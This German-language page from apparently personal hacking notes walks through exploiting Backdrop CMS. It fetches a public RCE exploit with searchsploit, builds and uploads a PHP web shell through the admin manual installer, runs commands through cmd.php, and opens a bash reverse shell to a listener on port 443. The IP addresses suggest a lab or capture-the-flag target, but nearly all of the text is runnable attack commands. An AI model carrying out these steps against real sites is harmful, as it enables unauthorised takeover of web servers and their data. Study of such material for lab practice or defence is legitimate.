> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/backdrop-cms-exploitation.md).
# Backdrop
## **Backdrop CMS RCE-Ausnutzung**
Verwenden Sie die entdeckten Zugangsdaten, um sich beim CMS anzumelden.
**Schwachstellenforschung**
Verwenden Sie **searchsploit** um eine RCE-Schwachstelle zu identifizieren:
```bash
searchsploit -m php/webapps/52021.py
```
Wir führen den Exploit aus:
```bash
python3 52021.py http://10.10.11.58
```
Dadurch wird eine ZIP-Datei erzeugt, die eine PHP-Shell enthält.
Komprimieren Sie die Shell als **tar.gz**:
```bash
tar -czvf shell.tar.gz shell
```
Laden Sie sie über **admin / installer / manual**.
**Befehlsausführung**
Das **modules/cmd/** Ordner enthält **cmd.php**.
Dies ermöglicht Befehlsausführung:
```bash
ifconfig
```
### **Backdrop CMS Reverse Shell**
Öffnen Sie einen Listener auf Port 443:
```bash
nc -nlvp 443
```
Injizieren Sie eine Payload:
```bash
bash -c "bash -i >&/dev/tcp/10.10.14.81/443 0>&1"
```
---
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